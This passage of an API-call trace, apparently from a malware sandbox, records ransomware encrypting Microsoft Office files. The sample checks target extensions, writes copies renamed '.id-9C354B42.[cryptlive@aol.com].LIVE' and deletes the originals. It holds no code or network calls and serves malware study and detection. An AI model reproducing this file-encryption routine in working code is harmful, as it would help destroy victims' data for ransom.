58 [0145.306] lstrlenW (lpString=".dbf") returned 4 [0145.306] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0145.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0145.306] lstrlenW (lpString=".1cd") returned 4 [0145.306] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0145.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0145.306] lstrlenW (lpString=".jpg") returned 4 [0145.306] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0145.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0145.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0145.306] lstrlenW (lpString=".doc") returned 4 [0145.306] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0145.306] lstrlenW (lpString=".docx") returned 5 [0145.306] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0145.306] lstrlenW (lpString=".pdf") returned 4 [0145.306] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0145.306] lstrlenW (lpString=".xls") returned 4 [0145.306] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0145.306] lstrlenW (lpString=".xlsx") returned 5 [0145.306] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0145.306] lstrlenW (lpString=".ppt") returned 4 [0145.306] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0145.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0145.306] lstrlenW (lpString=".zip") returned 4 [0145.306] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0145.306] lstrlenW (lpString=".rar") returned 4 [0145.306] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0145.306] lstrlenW (lpString=".bz2") returned 4 [0145.306] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0145.306] lstrlenW (lpString=".7z") returned 3 [0145.306] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0145.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0145.307] lstrlenW (lpString=".dbf") returned 4 [0145.307] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0145.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0145.307] lstrlenW (lpString=".1cd") returned 4 [0145.307] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0145.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0145.307] lstrlenW (lpString=".jpg") returned 4 [0145.307] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0145.307] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0145.307] lstrlenW (lpString="PPINTL.DLL.IDX_DLL") returned 18 [0145.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0145.307] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=38272) returned 1 [0145.307] CloseHandle (hObject=0x38c) returned 1 [0145.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll")) returned 0x20 [0145.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0145.308] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.308] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0145.308] GetLastError () returned 0x0 [0145.308] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x9580, lpOverlapped=0x0) returned 1 [0145.613] WriteFile (in: hFile=0x388, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x9590, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x9590, lpOverlapped=0x0) returned 1 [0145.840] ReadFile (in: hFile=0x38c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.840] WriteFile (in: hFile=0x388, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0145.840] SetEndOfFile (hFile=0x388) returned 1 [0145.840] CloseHandle (hObject=0x388) returned 1 [0145.841] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.841] SetEndOfFile (hFile=0x38c) returned 1 [0145.845] CloseHandle (hObject=0x38c) returned 1 [0145.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll")) returned 1 [0145.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0145.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0145.846] lstrlenW (lpString=".doc") returned 4 [0145.846] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0145.846] lstrlenW (lpString=".docx") returned 5 [0145.846] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0145.846] lstrlenW (lpString=".pdf") returned 4 [0145.846] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0145.846] lstrlenW (lpString=".xls") returned 4 [0145.846] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0145.846] lstrlenW (lpString=".xlsx") returned 5 [0145.846] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0145.846] lstrlenW (lpString=".ppt") returned 4 [0145.846] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0145.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0145.846] lstrlenW (lpString=".zip") returned 4 [0145.846] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0145.847] lstrlenW (lpString=".rar") returned 4 [0145.847] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0145.847] lstrlenW (lpString=".bz2") returned 4 [0145.847] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0145.847] lstrlenW (lpString=".7z") returned 3 [0145.847] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0145.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0145.847] lstrlenW (lpString=".dbf") returned 4 [0145.847] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0145.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0145.847] lstrlenW (lpString=".1cd") returned 4 [0145.847] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0145.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0145.847] lstrlenW (lpString=".jpg") returned 4 [0145.847] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0145.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0145.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0145.847] lstrlenW (lpString=".doc") returned 4 [0145.847] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0145.847] lstrlenW (lpString=".docx") returned 5 [0145.847] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0145.847] lstrlenW (lpString=".pdf") returned 4 [0145.847] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0145.847] lstrlenW (lpString=".xls") returned 4 [0145.847] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0145.847] lstrlenW (lpString=".xlsx") returned 5 [0145.847] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0145.847] lstrlenW (lpString=".ppt") returned 4 [0145.847] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0145.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0145.847] lstrlenW (lpString=".zip") returned 4 [0145.847] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0145.847] lstrlenW (lpString=".rar") returned 4 [0145.847] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0145.847] lstrlenW (lpString=".bz2") returned 4 [0145.847] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0145.848] lstrlenW (lpString=".7z") returned 3 [0145.848] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0145.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0145.848] lstrlenW (lpString=".dbf") returned 4 [0145.848] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0145.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0145.848] lstrlenW (lpString=".1cd") returned 4 [0145.848] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0145.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0145.848] lstrlenW (lpString=".jpg") returned 4 [0145.848] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0145.848] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0145.848] lstrlenW (lpString="SETLANG.HXS") returned 11 [0145.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0146.193] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=397828) returned 1 [0146.193] CloseHandle (hObject=0x39c) returned 1 [0146.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs")) returned 0x20 [0146.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0146.239] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.239] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0146.252] GetLastError () returned 0x0 [0146.252] ReadFile (in: hFile=0x3a0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x61204, lpOverlapped=0x0) returned 1 [0146.263] WriteFile (in: hFile=0x328, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x61210, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x61210, lpOverlapped=0x0) returned 1 [0146.273] ReadFile (in: hFile=0x3a0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.273] WriteFile (in: hFile=0x328, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xea, lpOverlapped=0x0) returned 1 [0146.273] SetEndOfFile (hFile=0x328) returned 1 [0146.273] CloseHandle (hObject=0x328) returned 1 [0146.273] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.273] SetEndOfFile (hFile=0x3a0) returned 1 [0146.287] CloseHandle (hObject=0x3a0) returned 1 [0146.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs")) returned 1 [0146.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0146.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0146.288] lstrlenW (lpString=".doc") returned 4 [0146.288] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0146.288] lstrlenW (lpString=".docx") returned 5 [0146.288] lstrcmpiW (lpString1=".docx", lpString2="G.HXS") returned -1 [0146.288] lstrlenW (lpString=".pdf") returned 4 [0146.288] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0146.288] lstrlenW (lpString=".xls") returned 4 [0146.288] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0146.288] lstrlenW (lpString=".xlsx") returned 5 [0146.288] lstrcmpiW (lpString1=".xlsx", lpString2="G.HXS") returned -1 [0146.288] lstrlenW (lpString=".ppt") returned 4 [0146.288] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0146.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0146.288] lstrlenW (lpString=".zip") returned 4 [0146.288] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0146.288] lstrlenW (lpString=".rar") returned 4 [0146.288] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0146.288] lstrlenW (lpString=".bz2") returned 4 [0146.288] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0146.288] lstrlenW (lpString=".7z") returned 3 [0146.288] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0146.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0146.288] lstrlenW (lpString=".dbf") returned 4 [0146.288] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0146.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0146.288] lstrlenW (lpString=".1cd") returned 4 [0146.288] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0146.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0146.288] lstrlenW (lpString=".jpg") returned 4 [0146.289] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0146.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0146.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0146.289] lstrlenW (lpString=".doc") returned 4 [0146.289] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0146.289] lstrlenW (lpString=".docx") returned 5 [0146.289] lstrcmpiW (lpString1=".docx", lpString2="G.HXS") returned -1 [0146.289] lstrlenW (lpString=".pdf") returned 4 [0146.289] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0146.289] lstrlenW (lpString=".xls") returned 4 [0146.289] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0146.289] lstrlenW (lpString=".xlsx") returned 5 [0146.289] lstrcmpiW (lpString1=".xlsx", lpString2="G.HXS") returned -1 [0146.289] lstrlenW (lpString=".ppt") returned 4 [0146.289] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0146.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0146.289] lstrlenW (lpString=".zip") returned 4 [0146.289] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0146.289] lstrlenW (lpString=".rar") returned 4 [0146.289] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0146.289] lstrlenW (lpString=".bz2") returned 4 [0146.289] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0146.289] lstrlenW (lpString=".7z") returned 3 [0146.289] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0146.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0146.289] lstrlenW (lpString=".dbf") returned 4 [0146.289] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0146.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0146.289] lstrlenW (lpString=".1cd") returned 4 [0146.289] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0146.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS") returned 59 [0146.289] lstrlenW (lpString=".jpg") returned 4 [0146.289] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0146.290] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0146.290] lstrlenW (lpString="UML.VSL") returned 7 [0146.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.602] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=392584) returned 1 [0146.602] CloseHandle (hObject=0x3dc) returned 1 [0146.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl")) returned 0x20 [0146.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.602] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.602] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0146.603] GetLastError () returned 0x0 [0146.603] ReadFile (in: hFile=0x3dc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x5fd88, lpOverlapped=0x0) returned 1 [0146.613] WriteFile (in: hFile=0x3d4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x5fd90, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x5fd90, lpOverlapped=0x0) returned 1 [0146.623] ReadFile (in: hFile=0x3dc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.623] WriteFile (in: hFile=0x3d4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0146.624] SetEndOfFile (hFile=0x3d4) returned 1 [0146.624] CloseHandle (hObject=0x3d4) returned 1 [0146.624] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.624] SetEndOfFile (hFile=0x3dc) returned 1 [0146.633] CloseHandle (hObject=0x3dc) returned 1 [0146.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl")) returned 1 [0146.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0146.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0146.634] lstrlenW (lpString=".doc") returned 4 [0146.634] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0146.634] lstrlenW (lpString=".docx") returned 5 [0146.634] lstrcmpiW (lpString1=".docx", lpString2="L.VSL") returned -1 [0146.634] lstrlenW (lpString=".pdf") returned 4 [0146.635] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0146.635] lstrlenW (lpString=".xls") returned 4 [0146.635] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0146.635] lstrlenW (lpString=".xlsx") returned 5 [0146.635] lstrcmpiW (lpString1=".xlsx", lpString2="L.VSL") returned -1 [0146.635] lstrlenW (lpString=".ppt") returned 4 [0146.635] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0146.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0146.635] lstrlenW (lpString=".zip") returned 4 [0146.635] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0146.635] lstrlenW (lpString=".rar") returned 4 [0146.635] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0146.635] lstrlenW (lpString=".bz2") returned 4 [0146.635] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0146.635] lstrlenW (lpString=".7z") returned 3 [0146.635] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0146.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0146.635] lstrlenW (lpString=".dbf") returned 4 [0146.635] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0146.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0146.635] lstrlenW (lpString=".1cd") returned 4 [0146.635] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0146.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0146.635] lstrlenW (lpString=".jpg") returned 4 [0146.635] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0146.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0146.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0146.635] lstrlenW (lpString=".doc") returned 4 [0146.635] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0146.636] lstrlenW (lpString=".docx") returned 5 [0146.636] lstrcmpiW (lpString1=".docx", lpString2="L.VSL") returned -1 [0146.636] lstrlenW (lpString=".pdf") returned 4 [0146.636] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0146.636] lstrlenW (lpString=".xls") returned 4 [0146.636] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0146.636] lstrlenW (lpString=".xlsx") returned 5 [0146.636] 